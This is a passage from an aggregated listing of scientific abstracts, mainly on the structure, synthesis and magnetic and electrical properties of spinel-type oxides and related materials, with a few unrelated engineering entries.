melts. LB I and LB II spinels plot in the peridotitic field while Cameroon and Morocco spinels fall in the magmatic one. Consequently, the xenoliths sampled from a probably juvenile SCLM at the edge of the most important lithospheric roots (i.e. Cameroon and Morocco) apparently have spinels possibly fractionated in situ from percolating melts and do not represent a real spinel-peridotite facies. On the contrary mantle 8. A Fault-Tolerant Parallel Structure of Single-Phase Full-Bridge Rectifiers for a Wound-Field Doubly Salient Generator DEFF Research Database (Denmark) Chen, Zhihui; Chen, Ran; Chen, Zhe 2013-01-01 The fault-tolerance design is widely adopted for high-reliability applications. In this paper, a parallel structure of single-phase full-bridge rectifiers (FBRs) (PS-SPFBR) is proposed for a wound-field doubly salient generator. The analysis shows the potential fault-tolerance capability of the PS... 9. Unravelling the Structure and Electrochemical Performance of Li-Cr-Mn-O Cathodes: From Spinel to Layered. Science.gov (United States) Li, Xuelei; Li, Dan; Song, Dawei; Shi, Xixi; Tang, Xu; Zhang, Hongzhou; Zhang, Lianqi 2018-03-14 To explore a new series of cathode materials with high electrochemical performance, the spinel-layered (1 - x)[LiCrMnO 4 ]· x[Li 2 MnO 3 ·LiCrO 2 ] ( x = 0, 0.25, 0.5, 0.75, and 1) composites are synthesized with the sol-gel method. X-ray diffraction, high-resolution transmission electron microscopy, selected area electron diffraction, and Raman spectra reveal that the structure of the (1 - x)[LiCrMnO 4 ]· x[Li 2 MnO 3 ·LiCrO 2 ] cathode materials evolves from spinel to hybrid spinel-layered and layered structures with the increase of the Li concentration. Test results reveal that the structure and electrochemical performance of (1 - x)[LiCrMnO 4 ]· x[Li 2 MnO 3 ·LiCrO 2 ] ( x = 0.25, 0.5 and 0.75) composites have the characteristics of both spinel ( x = 0) and Li-rich layered phases ( x = 1). In particular, x = 0.5 and 0.75 electrodes exhibit relatively high capacity retention and rate capability, which is mainly ascribed to the synergistic effect of the spinel and Li-rich layered phases, the 3D Li-ion diffusion channels of the spinel phase, and the low charge-transfer resistance ( R ct ) and Warburg diffusion impedance ( W o ). 10. Structural, electronic and magnetic properties of partially inverse spinel CoFe2O4: a first-principles study International Nuclear Information System (INIS) Hou, Y H; Liu, Z W; Yu, H Y; Zhong, X C; Qiu, W Q; Zeng, D C; Wen, L S; Zhao, Y J 2010-01-01 Partially inverse spinel CoFe 2 O 4 , which may be prepared through various heat treatments, differs remarkably from the ideal inverse spinel in many properties. The structure of partially inverse spinel CoFe 2 O 4 as well as its electronic and magnetic properties through a systemic theoretical calculation of (Co 1-x Fe x ) Tet (Co x Fe 2-x ) Oct O 4 (x = 0, 0.25, 0.5, 0.75 and 1.0) have been investigated by the generalized gradient approximation (GGA) + U approach. It is found that the Co and Fe ions prefer their high spin configurations with higher spin moments at octahedral sites in all the studied cases, in line with experimental observations. The Co ions at the octahedral sites favour being far away from each other in the partial inverse spinels, which also show half metallicity at certain inversion degrees. 11. Evolution of the magnetic structure with chemical composition in spinel iron oxide nanoparticles. Science.gov (United States) Muscas, G; Yaacoub, N; Concas, G; Sayed, F; Sayed Hassan, R; Greneche, J M; Cannas, C; Musinu, A; Foglietti, V; Casciardi, S; Sangregorio, C; Peddis, D 2015-08-28 Magnetic properties of iron oxide nanoparticles with spinel structure are strictly related to a complex interplay between cationic distribution and the presence of a non-collinear spin structure (spin canting). With the aim to gain better insight into the effect of the magnetic structure on magnetic properties, in this paper we investigated a family of small crystalline ferrite nanoparticles of the formula CoxNi1-xFe2O4 (0 ≤x≤ 1) having equal size (≈4.5 nm) and spherical-like shape. The field dependence of magnetization at low temperatures indicated a clear increase of magnetocrystalline anisotropy and saturation magnetization (higher than the bulk value for CoFe2O4: ∼130 A m(2) kg(-1)) with the increase of cobalt content. The magnetic structure of nanoparticles has been investigated by Mössbauer spectroscopy under an intense magnetic field (8 T) at a low temperature (10 K). The magnetic properties have been explained in terms of an evolution of the magnetic structure with the increase of cobalt content. In addition a direct correlation between cationic distribution and spin canting has been proposed, explaining the presence of a noncollinear spin structure in terms of superexchange interaction energy produced by the average cationic distribution and vacancies in the spinel structure. 12. Simple synthetic route to manganese-containing nanowires with the spinel crystal structure Science.gov (United States) Yu, Lei; Zhang, Yan; Hudak, Bethany M.; Wallace, Damon K.; Kim, Doo Young; Guiton, Beth S. 2016-08-01 This report describes a new route to synthesize single-crystalline manganese-containing spinel nanowires (NWs) by a two-step hydrothermal and solid-state synthesis. Interestingly, a nanowire or nanorod morphology is maintained during conversion from MnO2/MnOOH to CuMn2O4/Mg2MnO4, despite the massive structural rearrangement this must involve. Linear sweep voltammetry (LSV) curves of the products give preliminary demonstration that CuMn2O4 NWs are catalytically active towards the oxygen evolution reaction (OER) in alkaline solution, exhibiting five times the magnitude of current density found with pure carbon black. 13. Simple synthetic route to manganese-containing nanowires with the spinel crystal structure International Nuclear Information System (INIS) Yu, Lei; Zhang, Yan; Hudak, Bethany M.; Wallace, Damon K.; Kim, Doo Young; Guiton, Beth S. 2016-01-01 This report describes a new route to synthesize single-crystalline manganese-containing spinel nanowires (NWs) by a two-step hydrothermal and solid-state synthesis. Interestingly, a nanowire or nanorod morphology is maintained during conversion from MnO 2 /MnOOH to CuMn 2 O 4 /Mg 2 MnO 4 , despite the massive structural rearrangement this must involve. Linear sweep voltammetry (LSV) curves of the products give preliminary demonstration that CuMn 2 O 4 NWs are catalytically active towards the oxygen evolution reaction (OER) in alkaline solution, exhibiting five times the magnitude of current density found with pure carbon black. - Highlights: • Synthesis of single-crystalline manganese-containing spinel nanowires. • Binary oxide nanowire converted to ternary oxide wire through solid state reaction. • Approach to structure conversion with shape retention could be generally applicable. • Copper and Manganese display multiple oxidation states with potential for catalysis. • CuMn 2 O 4 nanowires show promise as catalysts for the oxygen evolution reaction. 14. Structural and magnetic transitions in spinel FeM n2O4 single crystals Science.gov (United States) Nepal, Roshan; Zhang, Qiang; Dai, Samuel; Tian, Wei; Nagler, S. E.; Jin, Rongying 2018-01-01 Materials that form the spinel structure are known to exhibit geometric frustration, which can lead to magnetic frustration as well. Through magnetization and neutron diffraction measurements, we find that FeM n2O4 undergoes one structural and two magnetic transitions. The structural transition occurs at Ts˜595 K from cubic at high temperatures to tetragonal at low temperatures. Two magnetic transitions are ferrimagnetic at TFI -1˜373 K and TFI -2˜50 K , respectively. Further investigation of the specific heat, thermal conductivity, and Seebeck coefficient confirms both magnetic transitions. Of particular interest is that there is a significant magnetic contribution to the low-temperature specific heat and thermal conductivity, providing a unique system to study heat transport by magnetic excitations. 15. Microfluidic Manufacturing of Polymeric Nanoparticles: Comparing Flow Control of Multiscale Structure in Single-Phase Staggered Herringbone and Two-Phase Reactors. Science.gov (United States) Xu, Zheqi; Lu, Changhai; Riordon, Jason; Sinton, David; Moffitt, Matthew G 2016-12-06 We compare the microfluidic manufacturing of polycaprolactone-block-poly(ethylene oxide) (PCL-b-PEO) nanoparticles (NPs) in a single-phase staggered herringbone (SHB) mixer and in a two-phase gas-liquid segmented mixer. NPs generated from two different copolymer compositions in both reactors and at three different flow rates, along with NPs generated using a conventional bulk method, are compared with respect to morphologies, dimensions, and internal crystallinities. Our work, the first direct comparison between alternate microfluidic NP synthesis methods, shows three key findings: (i) NP morphologies and dimensions produced in the bulk are different from those produced in a microfluidic mixer, whereas NP crystallinities produced in the bulk and in the SHB mixer are similar; (ii) NP morphologies, dimensions, and crystallinities produced in the single-phase SHB and two-phase mixers at the lowest flow rate are similar; and (iii) NP morphologies, dimensions, and crystallinities change with flow rate in the two-phase mixer but not in the single-phase SHB mixer. These findings provide new insights into the relative roles of mixing and shear in the formation and flow-directed processing of polymeric NPs in microfluidics, informing future reactor designs for manufacturing NPs of low polydispersity and controlled multiscale structure and function. 16. INFLUENCE OF THE PREPARATION METHOD ON THE STRUCTURE,PHASE FORMATION AND MAGNETIC PROPERTIES OF TEMPLATED CUFE2O4 SPINEL Directory of Open Access Journals (Sweden) N. Najmoddin 2014-09-01 Full Text Available The synthesis of mesoporous CuFe2O4 spinel by several nanocasting strategies (i.e., multi-step nanocasting, one step nanocasting, modified solid-liquid, in which copper and iron nitrates are used as precursors and Pluronic P123 as surfactant, is explored. We have also checked the effect of pH, citric acid and sodium citrate in multi-step nanocasting method. The modified solid-liquid method which contains impregnating mesoporous silica by molten state salts in a non-ionic solvent seems to be the best choice to obtain single phase ordered mesoporous copper ferrite. Other methods suffer from the presence of copper oxide or hematite as impurities or lack of integrity in the mesoporous structure. Increasing pH up to 9.5 does not enhance the phase formation inside the pores of the silica matrix. The citric acid yields a fine structure but does not facilitate the phase formation. Adding sodium citrate neither heals the phase formation nor the structure of the final product. Moreover, vinyl- functionalized mesoporous silica exploited in this study as a hard template entraps both metal nitrates in the pores, assisting impregnation procedure 17. Structure of spinel at high temperature using in-situ XANES study at the Al and Mg K-edge Energy Technology Data Exchange (ETDEWEB) Ligny, D de [Universite Claude Bernard Lyon 1, LPCML, 69622 Villeurbanne (France); Neuville, D R [Physique des Mineraux et Magmas, Geochimie-Cosmochimie, CNRS-IPGP, 4 place Jussieu, 75005 Paris (France); Flank, A-M; Lagarde, P, E-mail: [email protected] [Synchrotron SOLEIL, L' Orme des Merisiers, Saint Aubin, 91192 France (France) 2009-11-15 We present structural information obtained on spinel at high temperature (298-2400 K) using in situ XANES at the Mg and Al K-edge. Spinel, {sup [4]}(Al{sub x},Mg{sub 1-x}){sup [6]}(Al{sub 2-x},Mg{sub x})O{sub 4}, with increasing temperature, show a substitution of Mg by Al and Al by Mg in their respective sites. This substitution corresponds to an inversion of the Mg and Al sites. Furthermore, both experiments at the Al and Mg K-edges are in good agreement with XANES calculation made using FDMNES code. 18. High-pressure behaviour of selenium-based spinels and related structures - an experimental and theoretical study International Nuclear Information System (INIS) Waskowska, A; Gerward, L; Olsen, J Staun; Feliz, M; Llusar, R; Gracia, L; Marques, M; Recio, J M 2004-01-01 The high-pressure structural behaviour of the cubic spinel CdCr 2 Se 4 (space group Fd3barm) and tetragonal CdGa 2 Se 4 (I4bar) has been investigated experimentally and theoretically in order to understand the large difference in compressibility between the two selenides. The experimental values of the bulk modulus for these compounds are 101(2) and 48(2) GPa, respectively. These values compare well with 92 and 44 GPa obtained from first-principles calculations based on the density functional theory formalism. The observed difference in compressibility between the cubic and tetragonal structures can be understood in terms of polyhedral analysis. In a hypothetical cubic spinel structure Fd3barm), the calculated bulk modulus for CdGa 2 Se 4 is 85 GPa. This value together with the experimental and theoretical results for CdCr 2 Se 4 suggest that the selenium-based cubic spinels should have a bulk modulus about 100 GPa, which is half the value found for the oxide spinels 19. High-pressure behaviour of selenium-based spinels and related structures - an experimental and theoretical study Energy Technology Data Exchange (ETDEWEB) Waskowska, A [Institute of Low Temperature and Structure Research, Polish Academy of Sciences, 50 422 Wroclaw (Poland); Gerward, L [Department of Physics, Technical University of Denmark, 2800 Kongens Lyngby, Denmark (Denmark); Olsen, J Staun [Niels Bohr Institute, Oersted Laboratory, University of Copenhagen, 2100 Copenhagen (Denmark); Feliz, M [Universitat Jaume I - Campus de Riu Sec, Departament de Ciences Experimentals, Apartat 224, Castellon (Spain); Llusar, R [Universitat Jaume I - Campus de Riu Sec, Departament de Ciences Experimentals, Apartat 224, Castellon (Spain); Gracia, L [Universitat Jaume I - Campus de Riu Sec, Departament de Ciences Experimentals, Apartat 224, Castellon (Spain); Marques, M [Departamento de QuImica FIsica y AnalItica, Universidad de Oviedo, E-33006 Oviedo (Spain); Recio, J M [Departamento de QuImica FIsica y AnalItica, Universidad de Oviedo, E-33006 Oviedo (Spain) 2004-01-14 The high-pressure structural behaviour of the cubic spinel CdCr{sub 2}Se{sub 4} (space group Fd3barm) and tetragonal CdGa{sub 2}Se{sub 4} (I4bar) has been investigated experimentally and theoretically in order to understand the large difference in compressibility between the two selenides. The experimental values of the bulk modulus for these compounds are 101(2) and 48(2) GPa, respectively. These values compare well with 92 and 44 GPa obtained from first-principles calculations based on the density functional theory formalism. The observed difference in compressibility between the cubic and tetragonal structures can be understood in terms of polyhedral analysis. In a hypothetical cubic spinel structure Fd3barm), the calculated bulk modulus for CdGa{sub 2}Se{sub 4} is 85 GPa. This value together with the experimental and theoretical results for CdCr{sub 2}Se{sub 4} suggest that the selenium-based cubic spinels should have a bulk modulus about 100 GPa, which is half the value found for the oxide spinels. 20. Compositional and structural variabilities of Mg-rich iron oxide spinels from tuffite Directory of Open Access Journals (Sweden) W. N. Mussel 1999-12-01 Full Text Available Maghemite (γFe2O3 from tuffite is exceptionally rich in Mg, relatively to most of those reportedly found in other mafic lithosystems. To investigate in detail the compositional and structural variabilities of this natural magnetic iron oxide, sets of crystals were isolated from samples collected at different positions in a tuffite weathering mantle. These sets of crystal were individually powdered and studied by X-ray diffractometry, Mössbauer spectroscopy, magnetization measurements and chemical analysis. Lattice parameter of the cubic cell (a0 was found to vary from 0.834(1 to 0.8412(1 nm. Lower a0-values are characteristic of maghemite whereas higher ones are related to a magnetite precursor. FeO content ranges up to 17 mass % and spontaneous magnetization ranges from 8 to 32 J T-1 kg-1. Zero-field room temperature Mössbauer spectra are rather complex, indicating that the hyperfine field distributions due to Fe3+ and mixed valence Fe3+/2+ overlap. The structural variabilities of the (Mg, Ti-rich iron oxide spinels is essentially related to the range of chemical composition of its precursor (Mg, Ti-rich magnetite, and probably to the extent to which it has been oxidized during transformation in soil. 1. Electronic structure and band alignment at an epitaxial spinel/perovskite heterojunction. Science.gov (United States) Qiao, Liang; Li, Wei; Xiao, Haiyan; Meyer, Harry M; Liang, Xuelei; Nguyen, N V; Weber, William J; Biegalski, Michael D 2014-08-27 The electronic properties of solid-solid interfaces play critical roles in a variety of technological applications. Recent advances of film epitaxy and characterization techniques have demonstrated a wealth of exotic phenomena at interfaces of oxide materials, which are critically dependent on the alignment of their energy bands across the interface. Here we report a combined photoemission and electrical investigation of the electronic structures across a prototypical spinel/perovskite heterojunction. Energy-level band alignment at an epitaxial Co3O4/SrTiO3(001) heterointerface indicates a chemically abrupt, type I heterojunction without detectable band bending at both the film and substrate. The unexpected band alignment for this typical p-type semiconductor on SrTiO3 is attributed to its intrinsic d-d interband excitation, which significantly narrows the fundamental band gap between the top of the valence band and the bottom of the conduction band. The formation of the type I heterojunction with a flat-band state results in a simultaneous confinement of both electrons and holes inside the Co3O4 layer, thus rendering the epitaxial Co3O4/SrTiO3(001) heterostructure to be a very promising material for high-efficiency luminescence and optoelectronic device applications. 2. Structural, Optical, and Magnetic Characterization of Spinel Zinc Chromite Nanocrystallines Synthesised by Thermal Treatment Method Directory of Open Access Journals (Sweden) Salahudeen A. Gene 2014-01-01 Full Text Available The present study reports the structural and magnetic characterization of spinel zinc chromite (ZnCr2O4 nanocrystallines synthesized by thermal treatment method. The samples were calcined at different temperatures in the range of 773 to 973 K. Polyvinylpyrrolidone was used to control the agglomeration of the nanoparticles. The average particle size of the synthesized nanocrystals was determined by powder X-ray diffraction which shows that the crystallite size increases from 19 nm at 773 K to 24 nm at 973 K and the result was in good agreement with the transmission electron microscopy images. The elemental composition of the samples was determined by energy dispersed X-ray spectroscopy which confirmed the presence of Zn, Cr, and O in the final products. Fourier transform infrared spectroscopy also confirmed the presence of metal oxide bands for all the samples calcined at different temperature. The band gap energy was calculated from UV-vis reflectance spectra using the Kubelka-Munk function and the band gap energy of the samples was found to decrease from 4.03 eV at 773 K to 3.89 eV at 973 K. The magnetic properties were also demonstrated by electron spin resonance spectroscopy, the presence of unpaired electrons was confirmed, and the resonant magnetic field and the g-factor of the calcined samples were also studied. 3. Chemical composition, crystal structure, and their relationships with the intrinsic properties of spinel-type crystals based on bond valences. Science.gov (United States) Liu, Xiao; Wang, Hao; Lavina, Barbara; Tu, Bingtian; Wang, Weimin; Fu, Zhengyi 2014-06-16 Spinel-type crystals may possess complex and versatile chemical composition and crystal structure, which leads to difficulty in constructing relationships among the chemical composition, crystal structure, and intrinsic properties. In this work, we develop new empirical methods based on bond valences to estimate the intrinsic properties, namely, compressibility and thermal expansion of complex spinel-type crystals. The composition-weighted average of bond force constants in tetrahedral and octahedral coordination polyhedra is derived as a function of the composition-weighted average of bond valences, which can be calculated according to the experimental chemical composition and crystal structural parameters. We discuss the coupled effects of tetrahedral and octahedral frameworks on the aforementioned intrinsic properties. The bulk modulus could be quantitatively calculated from the composition-weighted average of bond force constants in tetrahedral and octahedral coordination polyhedra. In contrast, a quantitative estimation of the thermal expansion coefficient could be obtained from the composition-weighted average of bond force constants in octahedral coordination polyhedra. These empirical methods have been validated by the results obtained for a new complex quaternary spinel-type oxynitride Mg0.268Al2.577O3.733N0.267 as well as MgAl2O4 and Al2.85O3.45N0.55 from the literature. Further, these empirical methods have the potential to be extensively applied in other types of complex crystals. 4. Zn{sub x-1}Cu{sub x}Mn{sub 2}O{sub 4} spinels; synthesis, structural characterization and electrical evaluation Energy Technology Data Exchange (ETDEWEB) Mendez M, F.; Lima, E.; Bosch, P.; Pfeiffer, H. [UNAM, Instituto de Investigaciones en Materiales, Circuito Exterior, Ciudad Universitaria, 04510 Mexico D. F. (Mexico); Gonzalez, F., E-mail: [email protected] [Universidad Autonoma Metropolitana, Unidad Iztapalapa, Av. San Rafael Atlixco No. 186, Col. Vicentina, 09340 Mexico D. F. (Mexico) 2010-07-01 This work presents the structural characterization and electrical evaluation of Zn{sub x-1}Cu{sub x}Mn{sub 2}O{sub 4} spinels, which are materials presented as secondary phases into the vari stor ceramic systems. Samples were analyzed by X-ray diffraction, solid-state nuclear magnetic resonance, infrared spectroscopy, scanning electron microscopy and impedance spectroscopy. Although, the addition of copper to the ZnMn{sub 2}O{sub 4} spinel did not produce morphological changes, the structure and electrical behaviors changed considerably. Structurally, copper addition induced the formation of partial inverse spinels, and its addition increases significantly the electrical conductivity. Therefore, the formation of Zn{sub x-1}Cu{sub x}Mn{sub 2}O{sub 4} spinels, as secondary phases into the vari stor materials, may compromise significantly the vari stor efficiency. (Author) 5. Structure change of alumina castable by adding magnesia or spinel; Maguneshia matawa supineru no tenka ni yoru arumina kei kyasutaburu no soshiki henka Energy Technology Data Exchange (ETDEWEB) Mori, J.; Onoue, M.; Toritani, Y.; Tanaka, S. [Kawasaki Refractories Co. Ltd., Hyogo (Japan) 1995-01-10 Alumina-spinel castable is developed as the refractory for lining ladles, and compared with the existing refractory its durability is greatly raised. This material is obtained by adding spinel to alumina base, and besides improvement of the slag penetration resistance it is likely to reduce the structure spoiling. To solve this problem, alumina castable added by magnesia draws much attention recently. Although alumina-spinel and alumina-magnesia are both castables with Al2O3, MgO as their main compositions, and their whole chemical compositions are almost the same, the durability of alumina-magnesia is sometimes much better according to the applying conditions. In this study, the structure change of alumina castable by adding magnesia or spinel was investigated, and the reason of the influence on the durability was studied. 6 refs., 6 figs., 1 tab. 6. Stretched-to-compressed-exponential crossover observed in the electrical degradation kinetics of some spinel-metallic screen-printed structures Science.gov (United States) Balitska, V.; Shpotyuk, O.; Brunner, M.; Hadzaman, I. 2018-02-01 Thermally-induced (170 °C) degradation-relaxation kinetics is examined in screen-printed structures composed of spinel Cu0.1Ni0.1Co1.6Mn1.2O4 ceramics with conductive Ag or Ag-Pd layered electrodes. Structural inhomogeneities due to Ag and Ag-Pd diffusants in spinel phase environment play a decisive role in non-exponential kinetics of negative relative resistance drift. If Ag migration in spinel is inhibited by Pd addition due to Ag-Pd alloy, the kinetics attains stretched exponential behavior with ∼0.58 exponent, typical for one-stage diffusion in structurally-dispersive media. Under deep Ag penetration into spinel ceramics, as for thick films with Ag-layered electrodes, the degradation kinetics drastically changes, attaining features of two-step diffusing process governed by compressed-exponential dependence with power index of ∼1.68. Crossover from stretched- to compressed-exponential kinetics in spinel-metallic structures is mapped on free energy landscape of non-barrier multi-well system under strong perturbation from equilibrium, showing transition with a character downhill scenario resulting in faster than exponential decaying. 7. Effect of the preparation method on the structural and catalytic properties of spinel cobalt-iron oxide Energy Technology Data Exchange (ETDEWEB) Hammiche-Bellal, Yasmina, E-mail: [email protected] [Laboratoire des Matériaux Catalytiques et Catalyse en Chimie Organique, Faculté de Chimie, USTHB, BP32 El Alia, Bab Ezzouar, 16111, Alger (Algeria); Djadoun, Amar [Laboratoire de Géophysique, FSTGAT, USTHB, BP32 El Alia, Bab Ezzouar, 16111, Alger (Algeria); Meddour-Boukhobza, Laaldja; Benadda, Amel [Laboratoire des Matériaux Catalytiques et Catalyse en Chimie Organique, Faculté de Chimie, USTHB, BP32 El Alia, Bab Ezzouar, 16111, Alger (Algeria); Auroux, Aline [Université Lyon 1, CNRS, UMR 5256, IRCELYON, Institut de Recherches sur la Catalyse et l' Environnement de Lyon, 2 Avenue Albert Einstein, F-69626, Villeurbanne (France); Berger, Marie-Hélène [Centre des Matériaux PIERRE-MARIE Fourt, UMR 7633, Paris (France); Mernache, Fateh [UDEC-CRND, COMENA, BP 43 Draria, 16050, Alger (Algeria) 2016-07-01 Spinel cobalt-iron oxide was synthesized by co-precipitation and hydrothermal routes. The effect of the co-precipitation experimental conditions, the calcination temperature and the hydrothermal synthesis time and temperature on the properties of the solids was studied. The prepared powders were evaluated as catalysts in the ethanol combustion reaction, and were characterized by X-ray diffraction (XRD), transmission electron microscopy (TEM/EDX), nitrogen adsorption–desorption isotherms (BET, BJH) and temperature programmed reduction (TPR) techniques. Using chloride salts as starting materials and sodium hydroxide as precipitating agent, the CoFe{sub 2}O{sub 4} prepared powders displayed a mesoporous structure with a pore distribution strongly dependent on the experimental conditions. A monophasic spinel phase in the case of the calcined solids was obtained while the hydrothermal process led to the formation of a mixture of single oxides in addition to the spinel phase. The variation of the crystallite size and the lattice parameter as a function of calcination temperature was similar, whereas this variation found to be irregular when the synthesis residence time in autoclave was increased. The hydrothermally treated solids show the best catalytic performance in the total oxidation of ethanol. The catalytic behavior was correlated with the crystallite size and the reduction temperature of cobalt species determined by the TPR analysis. - Highlights: • Pure CoFe{sub 2}O{sub 4} phase is obtained by co-precipitation method at calcination temperatures 500–900 °C. • The temperature of co-precipitation procedure influences strongly the growth of the solids during the calcination step. • The hydrothermal synthesis gives a mixture of oxides; CoFe{sub 2}O{sub 4} is the predominant phase. • The CoFe{sub 2}O{sub 4} spinel showed a good catalytic reactivity in the ethanol combustion reaction. • The catalysts prepared by hydrothermal process are more reactive and 8. Bulk Single Crystal-Like Structural and Magnetic Characteristics of Epitaxial Spinel Ferrite Thin Films with Elimination of Antiphase Boundaries. Science.gov (United States) Singh, Amit V; Khodadadi, Behrouz; Mohammadi, Jamileh Beik; Keshavarz, Sahar; Mewes, Tim; Negi, Devendra Singh; Datta, Ranjan; Galazka, Zbigniew; Uecker, Reinhard; Gupta, Arunava 2017-08-01 Spinel ferrite NiFe 2 O 4 thin films have been grown on three isostructural substrates, MgAl 2 O 4 , MgGa 2 O 4 , and CoGa 2 O 4 using pulsed laser deposition. These substrates have lattice mismatches of 3.1%, 0.8%, and 0.2%, respectively, with NiFe 2 O 4 . As expected, the films grown on MgAl 2 O 4 substrate show the presence of the antiphase boundary defects. However, no antiphase boundaries (APBs) are observed for films grown on near-lattice-matched substrates MgGa 2 O 4 and CoGa 2 O 4 . This demonstrates that by using isostructural and lattice-matched substrates, the formation of APBs can be avoided in NiFe 2 O 4 thin films. Consequently, static and dynamic magnetic properties comparable with the bulk can be realized. Initial results indicate similar improvements in film quality and magnetic properties due to the elimination of APBs in other members of the spinel ferrite family, such as Fe 3 O 4 and CoFe 2 O 4 , which have similar crystallographic structure and lattice constants as NiFe 2 O 4 . © 2017 WILEY-VCH Verlag GmbH & Co. KGaA, Weinheim. 9. Simple and Efficient Rout for Synthesis of Spinel Nanopigments Directory of Open Access Journals (Sweden) Leila Torkian 2013-01-01 Full Text Available Nano-sized CoxMg1−xAl2O4 (x = 0, 0.1, 0.2, 0.4, 0.6, 0.8, and 1 inorganic pigments were synthesized via combustion method using β-alanine, as a single and novel fuel, at 800°C in open furnace. The obtained powders were characterized by means of X-ray diffraction (XRD, energy dispersive X-ray (EDX elemental analysis, diffuse reflectance spectrum (DRS, CIE Lab* color measurements, and scanning electron microscope (SEM. XRD patterns show that all calcined powders have single phase cubic spinel structure. EDX analysis revealed the composition of desired spinels. The diffuse reflectance spectra of the CoxMg1−xAl2O4 (x > 0 pigments confirmed the presence of tetrahedrally coordinated Co2+ ions in the spinel lattice. The colorimetric data pointed out the formation of blue pigments (for x > 0, corresponding to highly negative values of b, and the bluest color was produced for x = 0.8 and 1. SEM images showed nanoparticles with less than 30 nm crystallite size and flakes-like appearance of all synthesized powders. 10. Low-temperature structural transformation and magnetic properties of GaMo4S8-type defect spinel compounds International Nuclear Information System (INIS) Shamraj, V.F.; Lejtus, G.M. 1987-01-01 Crystal structure and physical properties of GaMo 4 S 8 and GaM x Mo 4 S 8 (M=C, Si, Ge) phases, referring to magnetic semiconductors were investiagted at room and low temperatures. All investigated compounds in the range T p =30-45 K experience phase transformations. Theoretical group analysis of possible symmetry changes, supposing that observed crystal-phase transformation is the first-kind transformation, close to the second-kind one, is carried out. It is shown, that crystal-phase transformation is syfficient in forming magnetic properties of ''defect spinel'' type structural phases (Curie temperature T M ≅ 20 K). Superexchange interactions between magnetic moments, localized on molybdenum ions, are responsible for magnetic order 11. Low-temperature synthesis of single-phase Co7Sb2O12 International Nuclear Information System (INIS) Brito, M.S.L.; Escote, M.T.; Santos, C.O.P.; Lisboa-Filho, P.N.; Leite, E.R.; Oliveira, J.B.L.; Gama, L.; Longo, E. 2004-01-01 Polycrystalline Co 7 Sb 2 O 12 compounds have been synthesized by a chemical route, which is based on a modified polymeric precursor method. In order to study the physical properties of the samples, X-ray diffraction (XRD), thermal analyses (TG and DSC), infrared spectroscopy (IR), specific surface area (BET), and magnetization measurements were performed on these materials. Characterization through XRD revealed that the samples are single-phase after a heat-treatment at 1100 deg. C for 2 h, while the X-ray patterns of the samples heat-treated at lower temperatures revealed the presence of additional Bragg reflections belonging to the Co 6 Sb 2 O 6 phase. These data were analyzed by means of Rietveld refinement and further analyze showed that Co 7 Sb 2 O 12 displays an inverse spinel crystalline structure. In this structure, the Co 2+ ions occupy the eight tetrahedral positions, and the sixteen octahedral positions are randomly occupied by the Sb 5+ and Co 2+ ions. IR studies disclosed two strong absorption bands, ν 1 and ν 2 , in the expected spectral range for a spinel-type binary oxide with space group Fd3m. Exploratory studies concerning the magnetic properties indicated that this sample presents a spin-glass transition at T f ∼ 64 K 12. The effect of bismuth on the structure, magnetic and electric properties of Co2MnO4 spinel multiferroic Science.gov (United States) Chouaya, H.; Smari, M.; Walha, I.; Dhahri, E.; Graça, M. P. F.; Valente, M. A. 2018-04-01 Mixed Co2Mn1-xBixO4 (x = 0, x = 0.05 and x = 0.1) samples were prepared by the sol-gel method using the citric acid route and characterized by various techniques. The X-ray diffraction (XRD) and Raman spectroscopic analyses confirmed the formation of inverse spinel cubic structure with Fd 3 ‾ m space group. The introduction of Bismuth (Bi) into Co2MnO4 did not modify the ferrimagnetic character of the parent compound Co2MnO4, whereas the field-cooled magnetizations MFC and the Curie temperature Tc decreased when increasing the Bi content. The electrical properties showed an activation energy (Ea) increase caused by the decrease of the double-exchange interaction following the substitution of Mn3+ by Bi3+. Eventually, the temperature coefficient of resistance (TCR) shows significant values for all samples can be investigated also as good candidates for bolometer applications. 13. Electronic structure and physical properties of the spinel-type phase of BeP2N4 from all-electron density functional calculations International Nuclear Information System (INIS) Ching, W. Y.; Aryal, Sitram; Rulis, Paul; Schnick, Wolfgang 2011-01-01 Using density-functional-theory-based ab initio methods, the electronic structure and physical properties of the newly synthesized nitride BeP 2 N 4 with a phenakite-type structure and the predicted high-pressure spinel phase of BeP 2 N 4 are studied in detail. It is shown that both polymorphs are wide band-gap semiconductors with relatively small electron effective masses at the conduction-band minima. The spinel-type phase is more covalently bonded due to the increased number of P-N bonds for P at the octahedral sites. Calculations of mechanical properties indicate that the spinel-type polymorph is a promising superhard material with notably large bulk, shear, and Young's moduli. Also calculated are the Be K, P K, P L 3 , and N K edges of the electron energy-loss near-edge structure for both phases. They show marked differences because of the different local environments of the atoms in the two crystalline polymorphs. These differences will be very useful for the experimental identification of the products of high-pressure syntheses targeting the predicted spinel-type phase of BeP 2 N 4 . 14. Structural characterisation and physical properties of Li MMnO 4 ( M=Cr, Ti) spinels Science.gov (United States) Arillo, M. A.; Cuello, G.; López, M. L.; Martín, P.; Pico, C.; Veiga, M. L. 2005-01-01 New spinel-type phases of general formula Li MMnO 4 ( M=Cr, Ti), derived from LiMn 2O 4 by substitution of Mn 3+ by Cr 3+ or Mn 4+ by Ti 4+, have been obtained and characterised. Neutron diffraction refinements confirm that both phases crystallise in the Fd3m space group, giving the cation distributions [Li] 8 a[CrMn] 16 dO 4 and [Li 0.66Ti 0.34] 8 a[Li 0.34MnTi 0.66] 16 dO 4. Electrical conductivity has been examined by various techniques showing that these materials behave as semiconductors. The electrochemical behaviour indicates different oxidation-reduction steps in both cases concomitant with the insertion/deinsertion of lithium in non-reversible processes. X-ray diffraction patterns show that the above process is topotactic in LiCrMnO 4. Magnetic data and neutron diffraction measurements show that no long-range magnetic ordering is present, suggesting a spin-glass transition for M=Cr at low temperature, while for M=Ti the presence of non-magnetic ions in the octahedral sublattice provokes an inherent magnetic frustration. 15. Comparative studies on structural properties and antimicrobial potential of spinel ferrite nanoparticles synthesized using various methods Science.gov (United States) Baraliya, Jagdish D.; Rakhashiya, Purvi M.; Patel, Pooja P.; Thaker, Vrinda S.; Joshi, Hiren H. 2017-05-01 In this study, novel multifunctional magnetic iron-based nanoparticles (CoFe2O4) coated with silica, silica-DEG (diethylene glycol), PEG (polyethylene glycol) were synthesized using Auto Combustion Method (ACM), Co-precipitation Method (COPM), Citrate Precursor Method (CPM), Flash Combustion Method (FCM). These spinel ferrite nanoparticles also contain very high antibacterial properties to fulfill the requirements of a drug delivery system so that the antibiotic concentration could be minimized. A potential delivery system could be based on a ferromagnetic fluid. The effects of various preparation methods on the physical properties of the nanoparticles 